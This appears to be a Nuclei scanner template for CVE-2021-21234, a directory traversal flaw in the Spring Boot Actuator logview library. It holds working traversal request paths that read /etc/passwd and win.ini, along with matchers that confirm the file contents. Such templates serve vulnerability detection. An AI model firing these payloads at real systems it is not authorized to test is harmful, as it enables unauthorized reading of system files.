id: CVE-2021-21234 info: name: Spring Boot Actuator Logview Directory Traversal author: gy741,pikpikcu severity: high description: | spring-boot-actuator-logview before version 0.2.13 contains a directory traversal vulnerability in libraries that adds a simple logfile viewer as a spring boot actuator endpoint (maven package "eu.hinsch:spring-boot-actuator-logview". remediation: | Apply the latest security patches or upgrade to a patched version of Spring Boot Actuator. reference: - https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234 - https://github.com/cristianeph/vulnerability-actuator-log-viewer - https://nvd.nist.gov/vuln/detail/CVE-2021-21234 - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/760acbb939a8d1f7d1a7dfcd51ca848eea04e772 - https://github.com/lukashinsch/spring-boot-actuator-logview/commit/1c76e1ec3588c9f39e1a94bf27b5ff56eb8b17d6 - https://blog.csdn.net/qq_39583774/article/details/123023770#t5 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N cvss-score: 7.7 cve-id: CVE-2021-21234 cwe-id: CWE-22 epss-score: 0.96654 epss-percentile: 0.99536 cpe: cpe:2.3:a:spring-boot-actuator-logview_project:spring-boot-actuator-logview:*:*:*:*:*:*:*:* metadata: max-request: 4 vendor: spring-boot-actuator-logview_project product: spring-boot-actuator-logview tags: cve,cve2021,springboot,lfi,actuator http: - method: GET path: - "{{BaseURL}}/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" - "{{BaseURL}}/log/view?filename=/windows/win.ini&base=../../../../../../../../../../" - "{{BaseURL}}/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../" - "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../../../../../../../../../" stop-at-first-match: true matchers-condition: or matchers: - type: dsl dsl: - "contains(header,'text/plain')" - "regex('root:.*:0:0:', body)" - "status_code == 200" condition: and - type: dsl dsl: - "contains(header,'text/plain')" - "contains(body, 'bit app support')" - "contains(body, 'fonts')" - "contains(body, 'extensions')" - "status_code == 200" condition: and # digest: 4a0a004730450221008ed136ddedb5e91b6fd947227547f5fe97bd3872c1893f156d82afec6ecd4c4802206396dbd65548d549ed6a8ae66b0b956e7665c8a050a26cfbe3f4b3e2d09ffd63:922c64590222798bb761d5b6d8e72950